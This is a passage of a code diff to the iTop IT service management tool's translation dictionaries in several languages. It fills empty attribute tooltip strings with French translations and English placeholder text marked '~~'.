'', + 'Class:Ticket/Attribute:workorders_list+' => 'All the work orders for this ticket~~', 'Class:Ticket/Attribute:finalclass' => 'Typ', 'Class:Ticket/Attribute:finalclass+' => '', 'Class:Ticket/Attribute:operational_status' => 'Betriebsstatus', @@ -239,7 +239,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Document/Attribute:contracts_list' => 'Verträge', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'Services', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', )); \ No newline at end of file diff --git a/datamodels/2.x/itop-tickets/dictionaries/fr.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/fr.dict.itop-tickets.php index d97c5fdc8..2e2abc44e 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/fr.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/fr.dict.itop-tickets.php @@ -58,11 +58,11 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Ticket/Attribute:private_log' => 'Journal privé', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => 'Contacts', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'Tous les contacts liés à ce ticket', 'Class:Ticket/Attribute:functionalcis_list' => 'CIs', 'Class:Ticket/Attribute:functionalcis_list+' => 'Tous les éléments de configuration impactés par ce ticket. Les éléments marqués comme "Calculés" sont le résultat du calcul de l\'analyse d\'impact. Les éléments marqués comme "Non impactés" sont exclus de cette analyse.', 'Class:Ticket/Attribute:workorders_list' => 'Tâches', - 'Class:Ticket/Attribute:workorders_list+' => '', + 'Class:Ticket/Attribute:workorders_list+' => 'Toutes les tâches de ce ticket', 'Class:Ticket/Attribute:finalclass' => 'Sous-classe de Ticket', 'Class:Ticket/Attribute:finalclass+' => 'Nom de la classe instanciable', 'Class:Ticket/Attribute:operational_status' => 'Statut opérationnel', @@ -239,7 +239,7 @@ Dict::Add('FR FR', 'French', 'Français', array( Dict::Add('FR FR', 'French', 'Français', array( 'Class:Document/Attribute:contracts_list' => 'Contrats', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'Tous les contrats liés à ce document', 'Class:Document/Attribute:services_list' => 'Services', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'Tous les services liés à ce document', )); \ No newline at end of file diff --git a/datamodels/2.x/itop-tickets/dictionaries/ja.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/ja.dict.itop-tickets.php index 7d6aef85a..911b724fd 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/ja.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/ja.dict.itop-tickets.php @@ -55,11 +55,11 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Ticket/Attribute:private_log' => '個人ログ', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => '連絡先', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'All the contacts linked to this ticket~~', 'Class:Ticket/Attribute:functionalcis_list' => 'CI', - 'Class:Ticket/Attribute:functionalcis_list+' => '', + 'Class:Ticket/Attribute:functionalcis_list+' => 'All the configuration items impacted by this ticket. Items marked as "Computed" have been automatically marked as impacted. Items marked as "Not impacted" are excluded from the impact.~~', 'Class:Ticket/Attribute:workorders_list' => '作業指示', - 'Class:Ticket/Attribute:workorders_list+' => '', + 'Class:Ticket/Attribute:workorders_list+' => 'All the work orders for this ticket~~', 'Class:Ticket/Attribute:finalclass' => 'タイプ', 'Class:Ticket/Attribute:finalclass+' => '', 'Class:Ticket/Attribute:operational_status' => 'Operational status~~', @@ -236,7 +236,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Document/Attribute:contracts_list' => '契約', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'サービス', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', )); \ No newline at end of file diff --git a/datamodels/2.x/itop-tickets/dictionaries/sk.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/sk.dict.itop-tickets.php index 87f79d944..3b0bd7f34 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/sk.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/sk.dict.itop-tickets.php @@ -68,11 +68,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Ticket/Attribute:private_log' => 'Skrytý záznam', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => 'Kontakty', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'All the contacts linked to this ticket~~', 'Class:Ticket/Attribute:functionalcis_list' => 'Komponenty', - 'Class:Ticket/Attribute:functionalcis_list+' => '', + 'Class:Ticket/Attribute:functionalcis_list+' => 'All the configuration items impacted by this ticket. Items marked as "Computed" have been automatically marked as impacted. Items marked as "Not impacted" are excluded from the impact.~~', 'Class:Ticket/Attribute:workorders_list' => 'Pracovné príkazy', - 'Class:Ticket/Attribute:workorders_list+' => '', + 'Class:Ticket/Attribute:workorders_list+' => 'All the work orders for this ticket~~', 'Class:Ticket/Attribute:finalclass' => 'Typ', 'Class:Ticket/Attribute:finalclass+' => '', 'Class:Ticket/Attribute:operational_status' => 'Operational status~~', @@ -249,7 +249,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Document/Attribute:contracts_list' => 'Zmluvy', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'Služby', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', )); \ No newline at end of file diff --git a/dictionaries/cs.dictionary.itop.ui.php b/dictionaries/cs.dictionary.itop.ui.php index ddf9906f0..a30c8b275 100755 --- a/dictionaries/cs.dictionary.itop.ui.php +++ b/dictionaries/cs.dictionary.itop.ui.php @@ -111,7 +111,7 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:User/Attribute:language/Value:FR FR' => 'French', 'Class:User/Attribute:language/Value:FR FR+' => 'French (France)', 'Class:User/Attribute:profile_list' => 'Profily/role', - 'Class:User/Attribute:profile_list+' => '', + 'Class:User/Attribute:profile_list+' => 'Roles, granting rights for that person~~', 'Class:User/Attribute:allowed_org_list' => 'Přístupné organizace', 'Class:User/Attribute:allowed_org_list+' => 'Uživatel má oprávnění přistupovat k údajům následujících organizací. Pokud není zvolena žádná organizace, neuplatňují se žádná omezení.', 'Class:User/Attribute:status' => 'Stav', diff --git a/dictionaries/da.dictionary.itop.core.php b/dictionaries/da.dictionary.itop.core.php index cea3db4f8..33526085c 100644 --- a/dictionaries/da.dictionary.itop.core.php +++ b/dictionaries/da.dictionary.itop.core.php @@ -498,7 +498,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Action/Attribute:status/Value:disabled' => 'Inaktiv', 'Class:Action/Attribute:status/Value:disabled+' => '', 'Class:Action/Attribute:trigger_list' => 'Relaterede Triggere', - 'Class:Action/Attribute:trigger_list+' => '', + 'Class:Action/Attribute:trigger_list+' => 'Triggers linked to this action~~', 'Class:Action/Attribute:finalclass' => 'Type', 'Class:Action/Attribute:finalclass+' => '', 'Action:WarningNoTriggerLinked' => 'Warning, no trigger is linked to the action. It will not be active until it has at least 1.~~', @@ -564,7 +564,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Trigger/Attribute:description' => 'Beskrivelse', 'Class:Trigger/Attribute:description+' => '', 'Class:Trigger/Attribute:action_list' => 'Triggerede handlinger', - 'Class:Trigger/Attribute:action_list+' => '', + 'Class:Trigger/Attribute:action_list+' => 'Actions performed when the trigger is activated~~', 'Class:Trigger/Attribute:finalclass' => 'Type', 'Class:Trigger/Attribute:finalclass+' => '', 'Class:Trigger/Attribute:context' => 'Context~~', diff --git a/dictionaries/fr.dictionary.itop.core.php b/dictionaries/fr.dictionary.itop.core.php index 40d1c721f..d3e008c0a 100644 --- a/dictionaries/fr.dictionary.itop.core.php +++ b/dictionaries/fr.dictionary.itop.core.php @@ -496,7 +496,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Action/Attribute:status/Value:disabled' => 'Inactive', 'Class:Action/Attribute:status/Value:disabled+' => '', 'Class:Action/Attribute:trigger_list' => 'Déclencheurs liés', - 'Class:Action/Attribute:trigger_list+' => '', + 'Class:Action/Attribute:trigger_list+' => 'Déclencheurs liés à cette action', 'Class:Action/Attribute:finalclass' => 'Sous-classe d\'Action', 'Class:Action/Attribute:finalclass+' => 'Nom de la classe instanciable', 'Action:WarningNoTriggerLinked' => 'Attention, aucun déclencheur n\'est associé à l\'action. Elle ne sera pas active tant qu\'elle n\'en aura pas au moins 1.', @@ -562,7 +562,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Trigger/Attribute:description' => 'Description', 'Class:Trigger/Attribute:description+' => '', 'Class:Trigger/Attribute:action_list' => 'Actions déclenchées', - 'Class:Trigger/Attribute:action_list+' => '', + 'Class:Trigger/Attribute:action_list+' => 'Actions effectuées quand le déclencheur est activé', 'Class:Trigger/Attribute:finalclass' => 'Sous-classe de Déclencheur', 'Class:Trigger/Attribute:finalclass+' => 'Nom de la classe instanciable', 'Class:Trigger/Attribute:context' => 'Contexte', diff --git a/dictionaries/hu.dictionary.itop.core.php b/dictionaries/hu.dictionary.itop.core.php index 888b6b749..e9f49ccef 100755 --- a/dictionaries/hu.dictionary.itop.core.php +++ b/dictionaries/hu.dictionary.itop.core.php @@ -496,7 +496,7 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:Action/Attribute:status/Value:disabled' => 'Inaktív', 'Class:Action/Attribute:status/Value:disabled+' => '', 'Class:Action/Attribute:trigger_list' => 'Kapcsolódó kiváltó okok', - 'Class:Action/Attribute:trigger_list+' => '', + 'Class:Action/Attribute:trigger_list+' => 'Triggers linked to this action~~', 'Class:Action/Attribute:finalclass' => 'Típus', 'Class:Action/Attribute:finalclass+' => '', 'Action:WarningNoTriggerLinked' => 'Warning, no trigger is linked to the action. It will not be active until it has at least 1.~~', @@ -562,7 +562,7 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:Trigger/Attribute:description' => 'Leírás', 'Class:Trigger/Attribute:description+' => '', 'Class:Trigger/Attribute:action_list' => 'Kiváltott akció', - 'Class:Trigger/Attribute:action_list+' => '', + 'Class:Trigger/Attribute:action_list+' => 'Actions performed when the trigger is activated~~', 'Class:Trigger/Attribute:finalclass' => 'Típus', 'Class:Trigger/Attribute:finalclass+' => '', 'Class:Trigger/Attribute:context' => 'Context~~', diff --git a/dictionaries/hu.dictionary.itop.ui.php b/dictionaries/hu.dictionary.itop.ui.php index 89929addd..819a9695e 100755 --- a/dictionaries/hu.dictionary.itop.ui.php +++ b/dictionaries/hu.dictionary.itop.ui.php @@ -13,7 +13,7 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:AuditCategory/Attribute:definition_set' => 'Meghatározás halmaz', 'Class:AuditCategory/Attribute:definition_set+' => '', 'Class:AuditCategory/Attribute:rules_list' => 'Audit szabályok', - 'Class:AuditCategory/Attribute:rules_list+' => '', + 'Class:AuditCategory/Attribute:rules_list+' => 'Audit rules for this category~~', )); // @@ -100,9 +100,9 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:User/Attribute:language/Value:FR FR' => 'Francia', 'Class:User/Attribute:language/Value:FR FR+' => '', 'Class:User/Attribute:profile_list' => 'Profil', - 'Class:User/Attribute:profile_list+' => '', + 'Class:User/Attribute:profile_list+' => 'Roles, granting rights for that person~~', 'Class:User/Attribute:allowed_org_list' => 'Engedélyezett szervezeti egységek', - 'Class:User/Attribute:allowed_org_list+' => '', + 'Class:User/Attribute:allowed_org_list+' => 'The end user is allowed to see data belonging to the following organizations. If no organization is specified, there is no restriction.~~', 'Class:User/Attribute:status' => 'Status~~', 'Class:User/Attribute:status+' => 'Whether the user account is enabled or disabled.~~', 'Class:User/Attribute:status/Value:enabled' => 'Enabled~~', diff --git a/dictionaries/sk.dictionary.itop.core.php b/dictionaries/sk.dictionary.itop.core.php index da6b4fc68..d51568c74 100644 --- a/dictionaries/sk.dictionary.itop.core.php +++ b/dictionaries/sk.dictionary.itop.core.php @@ -495,7 +495,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Action/Attribute:status/Value:disabled' => 'Neaktívna', 'Class:Action/Attribute:status/Value:disabled+' => '', 'Class:Action/Attribute:trigger_list' => 'Súvisiace spúštače', - 'Class:Action/Attribute:trigger_list+' => '', + 'Class:Action/Attribute:trigger_list+' => 'Triggers linked to this action~~', 'Class:Action/Attribute:finalclass' => 'Typ', 'Class:Action/Attribute:finalclass+' => '', 'Action:WarningNoTriggerLinked' => 'Warning, no trigger is linked to the action. It will not be active until it has at least 1.~~', @@ -561,7 +561,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Trigger/Attribute:description' => 'Popis', 'Class:Trigger/Attribute:description+' => '', 'Class:Trigger/Attribute:action_list' => 'Spúšťané akcie', - 'Class:Trigger/Attribute:action_list+' => '', + 'Class:Trigger/Attribute:action_list+' => 'Actions performed when the trigger is activated~~', 'Class:Trigger/Attribute:finalclass' => 'Typ', 'Class:Trigger/Attribute:finalclass+' => '', 'Class:Trigger/Attribute:context' => 'Context~~', @@ -1178,9 +1178,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Location/Attribute:country' => 'Štát', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'Zariadenia', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'All the devices in this location~~', 'Class:Location/Attribute:person_list' => 'Kontakty', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'All the contacts located on this location~~', 'Class:Person' => 'Osoba', 'Class:Person+' => '', 'Class:Person/Attribute:first_name' => 'Krstné meno', @@ -1194,15 +1194,15 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Person/Attribute:manager_id' => 'Manažér', 'Class:Person/Attribute:manager_id+' => '', 'Class:Person/Attribute:team_list' => 'Tímy', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'All the teams this person belongs to~~', 'Class:Person/Attribute:tickets_list' => 'Tickety', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'All the tickets this person is the caller~~', 'Class:Team' => 'Tím', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'Osoby', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'All the people belonging to this team~~', 'Class:Team/Attribute:tickets_list' => 'Tickety', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'All the tickets assigned to this team~~', 'Class:DocumentFile' => 'Dokumentový súbor', 'Class:DocumentFile+' => '', 'Class:DocumentFile/Attribute:file' => 'Súbor', @@ -1220,7 +1220,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:NetworkDevice/Attribute:networkdevicetype_id' => 'Typ sieťového zariadenia', 'Class:NetworkDevice/Attribute:networkdevicetype_id+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Zariadenia', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'IVerzia OS', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:ram' => 'Operačná pamäť', @@ -1238,13 +1238,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Server/Attribute:ram' => 'Operačna pamäť', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Logické disky', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', 'Class:ApplicationSolution' => 'Aplikačné riešenie', 'Class:ApplicationSolution+' => '', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'Komponenty', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'All the configuration items that compose this application solution~~', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'Biznis procesy', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'All the business processes depending on this application solution~~', 'Class:ApplicationSolution/Attribute:status' => 'Stav', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'Aktívne', @@ -1254,7 +1254,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:BusinessProcess' => 'Biznis proces', 'Class:BusinessProcess+' => '', 'Class:BusinessProcess/Attribute:applicationsolutions_list' => 'Aplikačné riešenia', - 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => '', + 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => 'All the application solutions that impact this business process~~', 'Class:BusinessProcess/Attribute:status' => 'Stav', 'Class:BusinessProcess/Attribute:status+' => '', 'Class:BusinessProcess/Attribute:status/Value:active' => 'Aktívny', @@ -1264,15 +1264,15 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Middleware' => 'Middleware', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'Middleware inštancie', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'All the middleware instances provided by this middleware~~', 'Class:DBServer' => 'DB Server', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'DB schémy', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'All the database schemas for this DB server~~', 'Class:WebServer' => 'Web server', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Webové aplikácie', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'All the web applications available on this web server~~', 'Class:PCSoftware' => 'PC softvér', 'Class:PCSoftware+' => '', 'Class:OtherSoftware' => 'Iný softvér', @@ -1300,7 +1300,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Software/Attribute:version' => 'Verzia', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => 'Dokumenty', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'All the documents linked to this software~~', 'Class:Software/Attribute:type' => 'Typ', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'DB Server', @@ -1314,15 +1314,15 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Web Server', 'Class:Software/Attribute:type/Value:WebServer+' => '', 'Class:Software/Attribute:softwareinstance_list' => 'Softvérové inštancie', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'All the software instances for this software~~', 'Class:Software/Attribute:softwarepatch_list' => 'Softvérové záplaty', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'All the patchs for this software~~', 'Class:Software/Attribute:softwarelicence_list' => 'Softvérové licencie', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'All the licenses for this software~~', 'Class:OSPatch' => 'Záplata OS', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'All the systems where this patch is installed~~', 'Class:OSPatch/Attribute:osversion_id' => 'Verzia OS', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:SoftwarePatch' => 'Softvérová záplata', @@ -1330,21 +1330,21 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SoftwarePatch/Attribute:software_id' => 'Softvér', 'Class:SoftwarePatch/Attribute:software_id+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'Inštancie softvéru', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'All the systems where this software patch is installed~~', 'Class:OSLicence' => 'Licencia OS', 'Class:OSLicence+' => '', 'Class:OSLicence/Attribute:osversion_id' => 'Verzia OS', 'Class:OSLicence/Attribute:osversion_id+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => 'Virtuálne zariadenia', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'All the virtual machines where this license is used~~', 'Class:OSLicence/Attribute:servers_list' => 'Servery', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'All the servers where this license is used~~', 'Class:SoftwareLicence' => 'Softvérová licencia', 'Class:SoftwareLicence+' => '', 'Class:SoftwareLicence/Attribute:software_id' => 'Softvér', 'Class:SoftwareLicence/Attribute:software_id+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'Inštancie softvéru', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'All the systems where this license is used~~', 'Class:lnkDocumentToLicence' => 'väzba Dokument/Licencia', 'Class:lnkDocumentToLicence+' => '', 'Class:lnkDocumentToLicence/Attribute:licence_id' => 'Licencia', @@ -1364,7 +1364,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Brand' => 'Značka', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => 'Zariadenia', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this brand~~', 'Class:Model' => 'Model', 'Class:Model+' => '', 'Class:Model/Attribute:brand_id' => 'Značka', @@ -1408,11 +1408,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Model/Attribute:type/Value:Telephone' => 'Telefón', 'Class:Model/Attribute:type/Value:Telephone+' => '', 'Class:Model/Attribute:physicaldevices_list' => 'Zariadenia', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this model~~', 'Class:NetworkDeviceType' => 'Typ sieťového zariadenia', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'Sieťové zariadenia', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'All the network devices corresponding to this type~~', 'Class:IOSVersion' => 'Verzia IOSu', 'Class:IOSVersion+' => '', 'Class:IOSVersion/Attribute:brand_id' => 'Značka', @@ -1524,7 +1524,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Group/Attribute:parent_id' => 'Nadradená skupina', 'Class:Group/Attribute:parent_id+' => '', 'Class:Group/Attribute:ci_list' => 'Prislúchajúce zariadenia', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:lnkGroupToCI' => 'väzba - Skupina / Zariadenie', 'Class:lnkGroupToCI+' => '', 'Class:lnkGroupToCI/Attribute:group_id' => 'Skupina', @@ -1538,9 +1538,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Rack/Attribute:nb_u' => 'NB U', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Zariadenia', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'Kryt', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', 'Class:Enclosure' => 'Kryt (enclosure)', 'Class:Enclosure+' => '', 'Class:Enclosure/Attribute:rack_id' => 'stojan (Rack)', @@ -1548,11 +1548,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Enclosure/Attribute:nb_u' => 'NB U', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'Zariadenia', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'All the devices in this enclosure~~', 'Class:PowerSource' => 'Napájací zdroj', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'Napäťové distribučné jednotky (PDU)', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'All the PDUs using this power source~~', 'Class:PDU' => 'Napäťová distribučná jednotka (PDU)', 'Class:PDU+' => '', 'Class:PDU/Attribute:rack_id' => 'stojan (Rack)', @@ -1596,11 +1596,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:CustomerContract' => 'Zákaznícka zmluva', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Služby', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', 'Class:ProviderContract' => 'Poskytovateľská zmluva', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'Časy pokrytia', @@ -1628,7 +1628,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ServiceFamily/Attribute:name' => 'Názov', 'Class:ServiceFamily/Attribute:name+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Služby', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', 'Class:Service' => 'Služby', 'Class:Service+' => '', 'Class:Service/Attribute:name' => 'Názov', @@ -1640,9 +1640,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:description' => 'Popis', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumenty', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakty', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Stav', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementácia', @@ -1652,13 +1652,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:status/Value:production' => 'Produkcia', 'Class:Service/Attribute:status/Value:production+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:providercontracts_list' => 'Poskytovateľské zmluvy', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'All the provider contracts to support this service~~', 'Class:Service/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'All the configuration items that are used to provide this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Podkategórie služieb', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', 'Class:lnkDocumentToService' => 'väzba - Dokument / Služba', 'Class:lnkDocumentToService+' => '', 'Class:lnkDocumentToService/Attribute:service_id' => 'Služba', @@ -1702,9 +1702,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SLA/Attribute:org_id' => 'Poskytovateľ', 'Class:SLA/Attribute:org_id+' => '', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 